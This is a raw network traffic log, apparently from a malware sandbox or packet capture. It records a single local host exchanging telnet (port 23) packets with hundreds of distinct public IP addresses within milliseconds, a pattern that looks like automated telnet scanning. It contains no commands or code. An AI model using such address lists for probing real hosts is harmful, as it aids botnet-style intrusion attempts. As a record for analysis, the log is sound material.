Dec 3, 2024 22:01:58.986685038 CET	39808	23	192.168.2.14	115.235.8.185
Dec 3, 2024 22:01:58.986685038 CET	39808	23	192.168.2.14	192.105.201.190
Dec 3, 2024 22:01:58.986695051 CET	39808	23	192.168.2.14	99.226.62.27
Dec 3, 2024 22:01:58.986710072 CET	39808	23	192.168.2.14	141.210.26.6
Dec 3, 2024 22:01:58.986711979 CET	23	39808	213.81.45.145	192.168.2.14
Dec 3, 2024 22:01:58.986717939 CET	23	39808	102.41.248.228	192.168.2.14
Dec 3, 2024 22:01:58.986721992 CET	23	39808	200.65.82.191	192.168.2.14
Dec 3, 2024 22:01:58.986732006 CET	39808	23	192.168.2.14	143.90.166.243
Dec 3, 2024 22:01:58.986778021 CET	39808	23	192.168.2.14	200.65.82.191
Dec 3, 2024 22:01:58.986784935 CET	23	39808	201.85.76.167	192.168.2.14
Dec 3, 2024 22:01:58.986790895 CET	23	39808	116.2.186.55	192.168.2.14
Dec 3, 2024 22:01:58.986794949 CET	23	39808	14.77.253.134	192.168.2.14
Dec 3, 2024 22:01:58.986805916 CET	23	39808	117.183.74.49	192.168.2.14
Dec 3, 2024 22:01:58.986809015 CET	39808	23	192.168.2.14	102.41.248.228
Dec 3, 2024 22:01:58.986809015 CET	39808	23	192.168.2.14	213.81.45.145
Dec 3, 2024 22:01:58.986839056 CET	39808	23	192.168.2.14	116.2.186.55
Dec 3, 2024 22:01:58.986841917 CET	39808	23	192.168.2.14	201.85.76.167
Dec 3, 2024 22:01:58.986845970 CET	39808	23	192.168.2.14	14.77.253.134
Dec 3, 2024 22:01:58.986851931 CET	39808	23	192.168.2.14	117.183.74.49
Dec 3, 2024 22:01:58.986876011 CET	23	39808	177.211.248.56	192.168.2.14
Dec 3, 2024 22:01:58.986885071 CET	23	39808	148.39.8.144	192.168.2.14
Dec 3, 2024 22:01:58.986886978 CET	23	39808	206.183.246.160	192.168.2.14
Dec 3, 2024 22:01:58.986888885 CET	23	39808	88.163.163.146	192.168.2.14
Dec 3, 2024 22:01:58.986893892 CET	23	39808	139.253.65.107	192.168.2.14
Dec 3, 2024 22:01:58.986917019 CET	23	39808	41.55.227.107	192.168.2.14
Dec 3, 2024 22:01:58.986922026 CET	23	39808	213.31.184.97	192.168.2.14
Dec 3, 2024 22:01:58.986958027 CET	39808	23	192.168.2.14	88.163.163.146
Dec 3, 2024 22:01:58.986963034 CET	39808	23	192.168.2.14	177.211.248.56
Dec 3, 2024 22:01:58.986963034 CET	39808	23	192.168.2.14	213.31.184.97
Dec 3, 2024 22:01:58.986968994 CET	39808	23	192.168.2.14	148.39.8.144
Dec 3, 2024 22:01:58.986969948 CET	23	39808	203.23.254.57	192.168.2.14
Dec 3, 2024 22:01:58.986974955 CET	23	39808	5.161.125.141	192.168.2.14
Dec 3, 2024 22:01:58.986979008 CET	23	39808	174.87.8.99	192.168.2.14
Dec 3, 2024 22:01:58.986980915 CET	39808	23	192.168.2.14	41.55.227.107
Dec 3, 2024 22:01:58.986983061 CET	23	39808	139.149.22.211	192.168.2.14
Dec 3, 2024 22:01:58.986989021 CET	39808	23	192.168.2.14	139.253.65.107
Dec 3, 2024 22:01:58.986995935 CET	39808	23	192.168.2.14	206.183.246.160
Dec 3, 2024 22:01:58.987004995 CET	23	39808	114.186.115.77	192.168.2.14
Dec 3, 2024 22:01:58.987011909 CET	23	39808	142.19.179.207	192.168.2.14
Dec 3, 2024 22:01:58.987011909 CET	39808	23	192.168.2.14	203.23.254.57
Dec 3, 2024 22:01:58.987013102 CET	39808	23	192.168.2.14	174.87.8.99
Dec 3, 2024 22:01:58.987016916 CET	39808	23	192.168.2.14	139.149.22.211
Dec 3, 2024 22:01:58.987026930 CET	39808	23	192.168.2.14	5.161.125.141
Dec 3, 2024 22:01:58.987039089 CET	23	39808	187.53.160.0	192.168.2.14
Dec 3, 2024 22:01:58.987040997 CET	39808	23	192.168.2.14	142.19.179.207
Dec 3, 2024 22:01:58.987046003 CET	39808	23	192.168.2.14	114.186.115.77
Dec 3, 2024 22:01:58.987145901 CET	39808	23	192.168.2.14	187.53.160.0
Dec 3, 2024 22:01:58.987910032 CET	23	39808	218.163.69.216	192.168.2.14
Dec 3, 2024 22:01:58.987951040 CET	23	39808	173.219.227.140	192.168.2.14
Dec 3, 2024 22:01:58.987965107 CET	39808	23	192.168.2.14	218.163.69.216
Dec 3, 2024 22:01:58.987971067 CET	23	39808	57.22.111.90	192.168.2.14
Dec 3, 2024 22:01:58.987982035 CET	23	39808	107.53.11.222	192.168.2.14
Dec 3, 2024 22:01:58.987988949 CET	23	39808	124.242.183.54	192.168.2.14
Dec 3, 2024 22:01:58.988010883 CET	39808	23	192.168.2.14	107.53.11.222
Dec 3, 2024 22:01:58.988029003 CET	39808	23	192.168.2.14	57.22.111.90
Dec 3, 2024 22:01:58.988037109 CET	39808	23	192.168.2.14	173.219.227.140
Dec 3, 2024 22:01:58.988037109 CET	39808	23	192.168.2.14	124.242.183.54
Dec 3, 2024 22:01:58.988048077 CET	23	39808	212.141.131.75	192.168.2.14
Dec 3, 2024 22:01:58.988051891 CET	23	39808	219.29.160.252	192.168.2.14
Dec 3, 2024 22:01:58.988086939 CET	23	39808	166.237.24.183	192.168.2.14
Dec 3, 2024 22:01:58.988094091 CET	23	39808	222.181.98.222	192.168.2.14
Dec 3, 2024 22:01:58.988104105 CET	23	39808	91.105.100.94	192.168.2.14
Dec 3, 2024 22:01:58.988115072 CET	23	39808	180.44.37.169	192.168.2.14
Dec 3, 2024 22:01:58.988126993 CET	39808	23	192.168.2.14	222.181.98.222
Dec 3, 2024 22:01:58.988133907 CET	39808	23	192.168.2.14	166.237.24.183
Dec 3, 2024 22:01:58.988138914 CET	39808	23	192.168.2.14	212.141.131.75
Dec 3, 2024 22:01:58.988138914 CET	39808	23	192.168.2.14	219.29.160.252
Dec 3, 2024 22:01:58.988152027 CET	39808	23	192.168.2.14	180.44.37.169
Dec 3, 2024 22:01:58.988162041 CET	23	39808	12.106.187.207	192.168.2.14
Dec 3, 2024 22:01:58.988168001 CET	23	39808	126.22.191.174	192.168.2.14
Dec 3, 2024 22:01:58.988178015 CET	23	39808	131.215.87.40	192.168.2.14
Dec 3, 2024 22:01:58.988189936 CET	39808	23	192.168.2.14	91.105.100.94
Dec 3, 2024 22:01:58.988192081 CET	23	39808	136.137.170.47	192.168.2.14
Dec 3, 2024 22:01:58.988198996 CET	23	39808	76.117.63.4	192.168.2.14
Dec 3, 2024 22:01:58.988214970 CET	39808	23	192.168.2.14	12.106.187.207
Dec 3, 2024 22:01:58.988219976 CET	39808	23	192.168.2.14	126.22.191.174
Dec 3, 2024 22:01:58.988248110 CET	39808	23	192.168.2.14	131.215.87.40
Dec 3, 2024 22:01:58.988256931 CET	23	39808	114.200.201.133	192.168.2.14
Dec 3, 2024 22:01:58.988261938 CET	23	39808	161.121.240.104	192.168.2.14
Dec 3, 2024 22:01:58.988262892 CET	39808	23	192.168.2.14	136.137.170.47
Dec 3, 2024 22:01:58.988265991 CET	23	39808	123.3.123.250	192.168.2.14
Dec 3, 2024 22:01:58.988265991 CET	39808	23	192.168.2.14	76.117.63.4
Dec 3, 2024 22:01:58.988270998 CET	23	39808	50.93.54.195	192.168.2.14
Dec 3, 2024 22:01:58.988298893 CET	39808	23	192.168.2.14	161.121.240.104
Dec 3, 2024 22:01:58.988305092 CET	39808	23	192.168.2.14	123.3.123.250
Dec 3, 2024 22:01:58.988305092 CET	39808	23	192.168.2.14	114.200.201.133
Dec 3, 2024 22:01:58.988308907 CET	39808	23	192.168.2.14	50.93.54.195
Dec 3, 2024 22:01:58.988332987 CET	23	39808	132.13.128.6	192.168.2.14
Dec 3, 2024 22:01:58.988337994 CET	23	39808	1.172.201.49	192.168.2.14
Dec 3, 2024 22:01:58.988342047 CET	23	39808	202.128.96.21	192.168.2.14
Dec 3, 2024 22:01:58.988413095 CET	23	39808	120.249.122.58	192.168.2.14
Dec 3, 2024 22:01:58.988418102 CET	23	39808	68.25.27.40	192.168.2.14
Dec 3, 2024 22:01:58.988421917 CET	23	39808	8.241.73.235	192.168.2.14
Dec 3, 2024 22:01:58.988425970 CET	23	39808	216.62.4.47	192.168.2.14
Dec 3, 2024 22:01:58.988430023 CET	23	39808	186.202.58.92	192.168.2.14
Dec 3, 2024 22:01:58.988431931 CET	39808	23	192.168.2.14	132.13.128.6
Dec 3, 2024 22:01:58.988435984 CET	39808	23	192.168.2.14	1.172.201.49
Dec 3, 2024 22:01:58.988435984 CET	39808	23	192.168.2.14	202.128.96.21
Dec 3, 2024 22:01:58.988449097 CET	39808	23	192.168.2.14	120.249.122.58
Dec 3, 2024 22:01:58.988455057 CET	39808	23	192.168.2.14	216.62.4.47
Dec 3, 2024 22:01:58.988476992 CET	39808	23	192.168.2.14	8.241.73.235
Dec 3, 2024 22:01:58.988476992 CET	39808	23	192.168.2.14	186.202.58.92
Dec 3, 2024 22:01:58.988477945 CET	39808	23	192.168.2.14	68.25.27.40
Dec 3, 2024 22:01:58.989242077 CET	23	39808	199.65.9.95	192.168.2.14
Dec 3, 2024 22:01:58.989260912 CET	23	39808	172.56.69.254	192.168.2.14
Dec 3, 2024 22:01:58.989281893 CET	39808	23	192.168.2.14	199.65.9.95
Dec 3, 2024 22:01:58.989320040 CET	39808	23	192.168.2.14	172.56.69.254
Dec 3, 2024 22:01:58.989362001 CET	23	39808	165.99.60.208	192.168.2.14
Dec 3, 2024 22:01:58.989367008 CET	23	39808	106.143.201.28	192.168.2.14
Dec 3, 2024 22:01:58.989371061 CET	23	39808	57.156.242.100	192.168.2.14
Dec 3, 2024 22:01:58.989375114 CET	23	39808	106.6.201.33	192.168.2.14
Dec 3, 2024 22:01:58.989403963 CET	39808	23	192.168.2.14	106.143.201.28
Dec 3, 2024 22:01:58.989404917 CET	39808	23	192.168.2.14	165.99.60.208
Dec 3, 2024 22:01:58.989419937 CET	39808	23	192.168.2.14	106.6.201.33
Dec 3, 2024 22:01:58.989435911 CET	39808	23	192.168.2.14	57.156.242.100
Dec 3, 2024 22:01:58.989439964 CET	23	39808	40.225.73.33	192.168.2.14
Dec 3, 2024 22:01:58.989448071 CET	23	39808	54.130.42.203	192.168.2.14
Dec 3, 2024 22:01:58.989455938 CET	23	39808	130.184.173.14	192.168.2.14
Dec 3, 2024 22:01:58.989460945 CET	23	39808	211.250.115.98	192.168.2.14
Dec 3, 2024 22:01:58.989465952 CET	23	39808	101.235.32.87	192.168.2.14
Dec 3, 2024 22:01:58.989485025 CET	39808	23	192.168.2.14	40.225.73.33
Dec 3, 2024 22:01:58.989485979 CET	39808	23	192.168.2.14	54.130.42.203
Dec 3, 2024 22:01:58.989497900 CET	39808	23	192.168.2.14	211.250.115.98
Dec 3, 2024 22:01:58.989497900 CET	39808	23	192.168.2.14	130.184.173.14
Dec 3, 2024 22:01:58.989509106 CET	39808	23	192.168.2.14	101.235.32.87
Dec 3, 2024 22:01:58.989545107 CET	23	39808	95.211.164.236	192.168.2.14
Dec 3, 2024 22:01:58.989557028 CET	23	39808	164.60.157.81	192.168.2.14
Dec 3, 2024 22:01:58.989561081 CET	23	39808	154.38.228.6	192.168.2.14
Dec 3, 2024 22:01:58.989567041 CET	23	39808	125.57.193.73	192.168.2.14
Dec 3, 2024 22:01:58.989593983 CET	39808	23	192.168.2.14	164.60.157.81
Dec 3, 2024 22:01:58.989593983 CET	39808	23	192.168.2.14	125.57.193.73
Dec 3, 2024 22:01:58.989600897 CET	39808	23	192.168.2.14	95.211.164.236
Dec 3, 2024 22:01:58.989618063 CET	23	39808	113.230.142.114	192.168.2.14
Dec 3, 2024 22:01:58.989620924 CET	39808	23	192.168.2.14	154.38.228.6
Dec 3, 2024 22:01:58.989650011 CET	23	39808	172.216.0.68	192.168.2.14
Dec 3, 2024 22:01:58.989655018 CET	23	39808	60.245.116.97	192.168.2.14
Dec 3, 2024 22:01:58.989670992 CET	39808	23	192.168.2.14	113.230.142.114
Dec 3, 2024 22:01:58.989671946 CET	23	39808	116.148.182.46	192.168.2.14
Dec 3, 2024 22:01:58.989685059 CET	39808	23	192.168.2.14	60.245.116.97
Dec 3, 2024 22:01:58.989689112 CET	39808	23	192.168.2.14	172.216.0.68
Dec 3, 2024 22:01:58.989712954 CET	23	39808	14.70.66.130	192.168.2.14
Dec 3, 2024 22:01:58.989715099 CET	39808	23	192.168.2.14	116.148.182.46
Dec 3, 2024 22:01:58.989717007 CET	23	39808	170.190.200.211	192.168.2.14
Dec 3, 2024 22:01:58.989732981 CET	23	39808	143.208.60.133	192.168.2.14
Dec 3, 2024 22:01:58.989737034 CET	23	39808	77.132.174.7	192.168.2.14
Dec 3, 2024 22:01:58.989757061 CET	23	39808	37.49.211.234	192.168.2.14
Dec 3, 2024 22:01:58.989774942 CET	23	39808	223.109.239.106	192.168.2.14
Dec 3, 2024 22:01:58.989778996 CET	39808	23	192.168.2.14	170.190.200.211
Dec 3, 2024 22:01:58.989783049 CET	39808	23	192.168.2.14	14.70.66.130
Dec 3, 2024 22:01:58.989783049 CET	39808	23	192.168.2.14	143.208.60.133
Dec 3, 2024 22:01:58.989783049 CET	39808	23	192.168.2.14	77.132.174.7
Dec 3, 2024 22:01:58.989797115 CET	39808	23	192.168.2.14	37.49.211.234
Dec 3, 2024 22:01:58.989815950 CET	39808	23	192.168.2.14	223.109.239.106
Dec 3, 2024 22:01:58.989847898 CET	23	39808	149.108.81.175	192.168.2.14
Dec 3, 2024 22:01:58.989892006 CET	23	39808	181.156.202.250	192.168.2.14
Dec 3, 2024 22:01:58.989907026 CET	39808	23	192.168.2.14	149.108.81.175
Dec 3, 2024 22:01:58.989922047 CET	39808	23	192.168.2.14	181.156.202.250
Dec 3, 2024 22:01:58.990875959 CET	23	39808	161.207.179.41	192.168.2.14
Dec 3, 2024 22:01:58.990880966 CET	23	39808	117.45.210.30	192.168.2.14
Dec 3, 2024 22:01:58.990885973 CET	23	39808	185.36.73.181	192.168.2.14
Dec 3, 2024 22:01:58.990917921 CET	23	39808	116.37.173.202	192.168.2.14
Dec 3, 2024 22:01:58.990922928 CET	23	39808	132.64.73.143	192.168.2.14
Dec 3, 2024 22:01:58.990927935 CET	39808	23	192.168.2.14	161.207.179.41
Dec 3, 2024 22:01:58.990928888 CET	39808	23	192.168.2.14	117.45.210.30
Dec 3, 2024 22:01:58.990942001 CET	39808	23	192.168.2.14	116.37.173.202
Dec 3, 2024 22:01:58.990945101 CET	39808	23	192.168.2.14	185.36.73.181
Dec 3, 2024 22:01:58.990953922 CET	23	39808	54.251.76.8	192.168.2.14
Dec 3, 2024 22:01:58.990971088 CET	39808	23	192.168.2.14	132.64.73.143
Dec 3, 2024 22:01:58.990988970 CET	23	39808	211.158.166.227	192.168.2.14
Dec 3, 2024 22:01:58.990993977 CET	23	39808	161.184.46.131	192.168.2.14
Dec 3, 2024 22:01:58.990999937 CET	39808	23	192.168.2.14	54.251.76.8
Dec 3, 2024 22:01:58.991003036 CET	23	39808	91.126.190.78	192.168.2.14
Dec 3, 2024 22:01:58.991014957 CET	23	39808	133.213.20.112	192.168.2.14
Dec 3, 2024 22:01:58.991019964 CET	23	39808	158.158.82.123	192.168.2.14
Dec 3, 2024 22:01:58.991035938 CET	39808	23	192.168.2.14	211.158.166.227
Dec 3, 2024 22:01:58.991039991 CET	39808	23	192.168.2.14	161.184.46.131
Dec 3, 2024 22:01:58.991054058 CET	39808	23	192.168.2.14	91.126.190.78
Dec 3, 2024 22:01:58.991075039 CET	39808	23	192.168.2.14	133.213.20.112
Dec 3, 2024 22:01:58.991075993 CET	39808	23	192.168.2.14	158.158.82.123
Dec 3, 2024 22:01:58.991147995 CET	23	39808	116.106.247.119	192.168.2.14
Dec 3, 2024 22:01:58.991153955 CET	23	39808	71.204.135.154	192.168.2.14
Dec 3, 2024 22:01:58.991158009 CET	23	39808	187.172.247.193	192.168.2.14
Dec 3, 2024 22:01:58.991167068 CET	23	39808	111.85.116.101	192.168.2.14
Dec 3, 2024 22:01:58.991170883 CET	23	39808	142.243.189.154	192.168.2.14
Dec 3, 2024 22:01:58.991173983 CET	23	39808	84.15.178.100	192.168.2.14
Dec 3, 2024 22:01:58.991178989 CET	23	39808	221.111.15.27	192.168.2.14
Dec 3, 2024 22:01:58.991183996 CET	23	39808	184.183.211.163	192.168.2.14
Dec 3, 2024 22:01:58.991192102 CET	23	39808	135.251.87.76	192.168.2.14
Dec 3, 2024 22:01:58.991198063 CET	23	39808	128.163.148.139	192.168.2.14
Dec 3, 2024 22:01:58.991199970 CET	39808	23	192.168.2.14	71.204.135.154
Dec 3, 2024 22:01:58.991213083 CET	39808	23	192.168.2.14	111.85.116.101
Dec 3, 2024 22:01:58.991213083 CET	39808	23	192.168.2.14	142.243.189.154
Dec 3, 2024 22:01:58.991220951 CET	39808	23	192.168.2.14	128.163.148.139
Dec 3, 2024 22:01:58.991228104 CET	39808	23	192.168.2.14	116.106.247.119
Dec 3, 2024 22:01:58.991233110 CET	39808	23	192.168.2.14	84.15.178.100
Dec 3, 2024 22:01:58.991235971 CET	39808	23	192.168.2.14	187.172.247.193
Dec 3, 2024 22:01:58.991240978 CET	39808	23	192.168.2.14	221.111.15.27
Dec 3, 2024 22:01:58.991242886 CET	39808	23	192.168.2.14	184.183.211.163
Dec 3, 2024 22:01:58.991247892 CET	39808	23	192.168.2.14	135.251.87.76
Dec 3, 2024 22:01:58.991333008 CET	23	39808	164.217.139.185	192.168.2.14
Dec 3, 2024 22:01:58.991338015 CET	23	39808	72.116.169.224	192.168.2.14
Dec 3, 2024 22:01:58.991343021 CET	23	39808	207.185.24.120	192.168.2.14
Dec 3, 2024 22:01:58.991347075 CET	23	39808	71.173.24.168	192.168.2.14
Dec 3, 2024 22:01:58.991350889 CET	23	39808	24.143.254.58	192.168.2.14
Dec 3, 2024 22:01:58.991354942 CET	23	39808	42.28.15.255	192.168.2.14
Dec 3, 2024 22:01:58.991359949 CET	23	39808	143.119.229.136	192.168.2.14
Dec 3, 2024 22:01:58.991391897 CET	39808	23	192.168.2.14	71.173.24.168
Dec 3, 2024 22:01:58.991391897 CET	39808	23	192.168.2.14	24.143.254.58
Dec 3, 2024 22:01:58.991398096 CET	39808	23	192.168.2.14	143.119.229.136
Dec 3, 2024 22:01:58.991404057 CET	39808	23	192.168.2.14	207.185.24.120
Dec 3, 2024 22:01:58.991444111 CET	39808	23	192.168.2.14	164.217.139.185
Dec 3, 2024 22:01:58.991445065 CET	39808	23	192.168.2.14	72.116.169.224
Dec 3, 2024 22:01:58.991445065 CET	39808	23	192.168.2.14	42.28.15.255
Dec 3, 2024 22:01:58.991904020 CET	23	39808	179.179.84.104	192.168.2.14
Dec 3, 2024 22:01:58.991919041 CET	23	39808	158.50.85.232	192.168.2.14
Dec 3, 2024 22:01:58.991961956 CET	23	39808	4.250.12.60	192.168.2.14
Dec 3, 2024 22:01:58.991966963 CET	23	39808	210.202.168.73	192.168.2.14
Dec 3, 2024 22:01:58.991971016 CET	39808	23	192.168.2.14	158.50.85.232
Dec 3, 2024 22:01:58.991978884 CET	39808	23	192.168.2.14	179.179.84.104
Dec 3, 2024 22:01:58.991981030 CET	23	39808	100.61.111.217	192.168.2.14
Dec 3, 2024 22:01:58.991983891 CET	23	39808	87.137.87.88	192.168.2.14
Dec 3, 2024 22:01:58.992001057 CET	39808	23	192.168.2.14	210.202.168.73
Dec 3, 2024 22:01:58.992003918 CET	39808	23	192.168.2.14	4.250.12.60
Dec 3, 2024 22:01:58.992012024 CET	23	39808	71.212.118.234	192.168.2.14
Dec 3, 2024 22:01:58.992016077 CET	23	39808	32.202.171.104	192.168.2.14
Dec 3, 2024 22:01:58.992022991 CET	23	39808	111.27.92.133	192.168.2.14
Dec 3, 2024 22:01:58.992031097 CET	39808	23	192.168.2.14	100.61.111.217
Dec 3, 2024 22:01:58.992033958 CET	39808	23	192.168.2.14	87.137.87.88
Dec 3, 2024 22:01:58.992037058 CET	23	39808	36.197.18.69	192.168.2.14
Dec 3, 2024 22:01:58.992053032 CET	39808	23	192.168.2.14	32.202.171.104
Dec 3, 2024 22:01:58.992053986 CET	39808	23	192.168.2.14	71.212.118.234
Dec 3, 2024 22:01:58.992063046 CET	39808	23	192.168.2.14	111.27.92.133
Dec 3, 2024 22:01:58.992074966 CET	39808	23	192.168.2.14	36.197.18.69
Dec 3, 2024 22:01:58.992080927 CET	23	39808	117.121.230.42	192.168.2.14
Dec 3, 2024 22:01:58.992085934 CET	23	39808	194.207.175.55	192.168.2.14
Dec 3, 2024 22:01:58.992116928 CET	39808	23	192.168.2.14	117.121.230.42
Dec 3, 2024 22:01:58.992122889 CET	39808	23	192.168.2.14	194.207.175.55
Dec 3, 2024 22:01:58.992152929 CET	23	39808	99.48.251.125	192.168.2.14
Dec 3, 2024 22:01:58.992166996 CET	23	39808	106.94.220.97	192.168.2.14
Dec 3, 2024 22:01:58.992172003 CET	23	39808	83.56.229.247	192.168.2.14
Dec 3, 2024 22:01:58.992188931 CET	23	39808	125.126.44.88	192.168.2.14
Dec 3, 2024 22:01:58.992193937 CET	23	39808	202.7.137.232	192.168.2.14
Dec 3, 2024 22:01:58.992198944 CET	23	39808	176.81.205.123	192.168.2.14
Dec 3, 2024 22:01:58.992203951 CET	23	39808	89.185.233.1	192.168.2.14
Dec 3, 2024 22:01:58.992208004 CET	23	39808	82.7.66.223	192.168.2.14
Dec 3, 2024 22:01:58.992208958 CET	39808	23	192.168.2.14	99.48.251.125
Dec 3, 2024 22:01:58.992211103 CET	39808	23	192.168.2.14	83.56.229.247
Dec 3, 2024 22:01:58.992213964 CET	39808	23	192.168.2.14	106.94.220.97
Dec 3, 2024 22:01:58.992232084 CET	39808	23	192.168.2.14	176.81.205.123
Dec 3, 2024 22:01:58.992238998 CET	39808	23	192.168.2.14	202.7.137.232
Dec 3, 2024 22:01:58.992238998 CET	39808	23	192.168.2.14	89.185.233.1
Dec 3, 2024 22:01:58.992240906 CET	39808	23	192.168.2.14	82.7.66.223
Dec 3, 2024 22:01:58.992249966 CET	39808	23	192.168.2.14	125.126.44.88
Dec 3, 2024 22:01:58.992258072 CET	23	39808	209.83.91.73	192.168.2.14
Dec 3, 2024 22:01:58.992263079 CET	23	39808	172.183.173.219	192.168.2.14
Dec 3, 2024 22:01:58.992266893 CET	23	39808	74.42.49.78	192.168.2.14
Dec 3, 2024 22:01:58.992270947 CET	23	39808	95.155.164.70	192.168.2.14
Dec 3, 2024 22:01:58.992275000 CET	23	39808	154.10.234.61	192.168.2.14
Dec 3, 2024 22:01:58.992279053 CET	23	39808	180.0.90.140	192.168.2.14
Dec 3, 2024 22:01:58.992305994 CET	39808	23	192.168.2.14	172.183.173.219
Dec 3, 2024 22:01:58.992320061 CET	39808	23	192.168.2.14	209.83.91.73
Dec 3, 2024 22:01:58.992321968 CET	39808	23	192.168.2.14	74.42.49.78
Dec 3, 2024 22:01:58.992321968 CET	39808	23	192.168.2.14	95.155.164.70
Dec 3, 2024 22:01:58.992326975 CET	39808	23	192.168.2.14	154.10.234.61
Dec 3, 2024 22:01:58.992331982 CET	39808	23	192.168.2.14	180.0.90.140
Dec 3, 2024 22:01:58.992347002 CET	23	39808	27.6.69.147	192.168.2.14
Dec 3, 2024 22:01:58.992352962 CET	23	39808	156.158.244.191	192.168.2.14
Dec 3, 2024 22:01:58.992407084 CET	39808	23	192.168.2.14	27.6.69.147
Dec 3, 2024 22:01:58.992408037 CET	39808	23	192.168.2.14	156.158.244.191
Dec 3, 2024 22:01:58.993067026 CET	23	39808	197.115.17.12	192.168.2.14
Dec 3, 2024 22:01:58.993086100 CET	23	39808	143.10.226.220	192.168.2.14
Dec 3, 2024 22:01:58.993107080 CET	39808	23	192.168.2.14	197.115.17.12
Dec 3, 2024 22:01:58.993108034 CET	23	39808	31.237.168.154	192.168.2.14
Dec 3, 2024 22:01:58.993149996 CET	39808	23	192.168.2.14	143.10.226.220
Dec 3, 2024 22:01:58.993149996 CET	39808	23	192.168.2.14	31.237.168.154
Dec 3, 2024 22:01:58.993161917 CET	23	39808	205.106.52.153	192.168.2.14
Dec 3, 2024 22:01:58.993166924 CET	23	39808	34.227.179.213	192.168.2.14
Dec 3, 2024 22:01:58.993205070 CET	39808	23	192.168.2.14	34.227.179.213
Dec 3, 2024 22:01:58.993220091 CET	23	39808	137.107.180.140	192.168.2.14
Dec 3, 2024 22:01:58.993222952 CET	39808	23	192.168.2.14	205.106.52.153
Dec 3, 2024 22:01:58.993227005 CET	23	39808	202.139.124.85	192.168.2.14
Dec 3, 2024 22:01:58.993248940 CET	23	39808	194.173.19.11	192.168.2.14
Dec 3, 2024 22:01:58.993268013 CET	39808	23	192.168.2.14	137.107.180.140
Dec 3, 2024 22:01:58.993268967 CET	39808	23	192.168.2.14	202.139.124.85
Dec 3, 2024 22:01:58.993279934 CET	39808	23	192.168.2.14	194.173.19.11
Dec 3, 2024 22:01:58.993297100 CET	23	39808	151.55.58.131	192.168.2.14
Dec 3, 2024 22:01:58.993309021 CET	23	39808	19.173.17.26	192.168.2.14
Dec 3, 2024 22:01:58.993320942 CET	23	39808	163.253.227.202	192.168.2.14
Dec 3, 2024 22:01:58.993324995 CET	23	39808	86.180.78.20	192.168.2.14
Dec 3, 2024 22:01:58.993340969 CET	39808	23	192.168.2.14	151.55.58.131
Dec 3, 2024 22:01:58.993362904 CET	39808	23	192.168.2.14	19.173.17.26
Dec 3, 2024 22:01:58.993362904 CET	39808	23	192.168.2.14	86.180.78.20
Dec 3, 2024 22:01:58.993366003 CET	39808	23	192.168.2.14	163.253.227.202
Dec 3, 2024 22:01:58.993380070 CET	23	39808	75.218.173.60	192.168.2.14
Dec 3, 2024 22:01:58.993386030 CET	23	39808	98.89.77.26	192.168.2.14
Dec 3, 2024 22:01:58.993391991 CET	23	39808	178.218.156.14	192.168.2.14
Dec 3, 2024 22:01:58.993419886 CET	39808	23	192.168.2.14	98.89.77.26
Dec 3, 2024 22:01:58.993423939 CET	39808	23	192.168.2.14	178.218.156.14
Dec 3, 2024 22:01:58.993424892 CET	39808	23	192.168.2.14	75.218.173.60
Dec 3, 2024 22:01:58.993436098 CET	23	39808	218.95.6.225	192.168.2.14
Dec 3, 2024 22:01:58.993441105 CET	23	39808	48.12.105.160	192.168.2.14
Dec 3, 2024 22:01:58.993444920 CET	23	39808	149.96.247.250	192.168.2.14
Dec 3, 2024 22:01:58.993482113 CET	39808	23	192.168.2.14	218.95.6.225
Dec 3, 2024 22:01:58.993486881 CET	39808	23	192.168.2.14	149.96.247.250
Dec 3, 2024 22:01:58.993494987 CET	39808	23	192.168.2.14	48.12.105.160
Dec 3, 2024 22:01:58.993542910 CET	23	39808	177.132.159.72	192.168.2.14
Dec 3, 2024 22:01:58.993547916 CET	23	39808	142.188.138.75	192.168.2.14
Dec 3, 2024 22:01:58.993551970 CET	23	39808	54.209.208.96	192.168.2.14
Dec 3, 2024 22:01:58.993561029 CET	23	39808	171.2.143.40	192.168.2.14
Dec 3, 2024 22:01:58.993563890 CET	23	39808	151.24.175.52	192.168.2.14
Dec 3, 2024 22:01:58.993567944 CET	23	39808	185.110.51.135	192.168.2.14
Dec 3, 2024 22:01:58.993571997 CET	23	39808	175.187.169.28	192.168.2.14
Dec 3, 2024 22:01:58.993576050 CET	23	39808	44.192.124.50	192.168.2.14
Dec 3, 2024 22:01:58.993585110 CET	23	39808	131.144.116.192	192.168.2.14
Dec 3, 2024 22:01:58.993586063 CET	23	39808	100.145.136.1	192.168.2.14
Dec 3, 2024 22:01:58.993596077 CET	39808	23	192.168.2.14	177.132.159.72
Dec 3, 2024 22:01:58.993599892 CET	39808	23	192.168.2.14	142.188.138.75
Dec 3, 2024 22:01:58.993602991 CET	39808	23	192.168.2.14	54.209.208.96
Dec 3, 2024 22:01:58.993602991 CET	39808	23	192.168.2.14	185.110.51.135
Dec 3, 2024 22:01:58.993618965 CET	39808	23	192.168.2.14	175.187.169.28
Dec 3, 2024 22:01:58.993618965 CET	39808	23	192.168.2.14	151.24.175.52
Dec 3, 2024 22:01:58.993618965 CET	39808	23	192.168.2.14	171.2.143.40
Dec 3, 2024 22:01:58.993623972 CET	39808	23	192.168.2.14	44.192.124.50
Dec 3, 2024 22:01:58.993623972 CET	39808	23	192.168.2.14	131.144.116.192
Dec 3, 2024 22:01:58.993638992 CET	39808	23	192.168.2.14	100.145.136.1
Dec 3, 2024 22:01:58.994169950 CET	23	39808	99.80.136.165	192.168.2.14
Dec 3, 2024 22:01:58.994214058 CET	39808	23	192.168.2.14	99.80.136.165
Dec 3, 2024 22:01:58.994219065 CET	23	39808	163.3.233.134	192.168.2.14
Dec 3, 2024 22:01:58.994261026 CET	39808	23	192.168.2.14	163.3.233.134
Dec 3, 2024 22:01:58.994288921 CET	23	39808	25.117.147.177	192.168.2.14
Dec 3, 2024 22:01:58.994337082 CET	39808	23	192.168.2.14	25.117.147.177
Dec 3, 2024 22:01:58.994343042 CET	23	39808	208.148.81.226	192.168.2.14
Dec 3, 2024 22:01:58.994349003 CET	23	39808	41.83.8.115	192.168.2.14
Dec 3, 2024 22:01:58.994354010 CET	23	39808	32.166.3.239	192.168.2.14
Dec 3, 2024 22:01:58.994358063 CET	23	39808	194.127.119.121	192.168.2.14
Dec 3, 2024 22:01:58.994369984 CET	23	39808	78.166.147.205	192.168.2.14
Dec 3, 2024 22:01:58.994384050 CET	23	39808	147.82.225.168	192.168.2.14
Dec 3, 2024 22:01:58.994389057 CET	23	39808	189.247.11.112	192.168.2.14
Dec 3, 2024 22:01:58.994390965 CET	39808	23	192.168.2.14	41.83.8.115
Dec 3, 2024 22:01:58.994393110 CET	39808	23	192.168.2.14	208.148.81.226
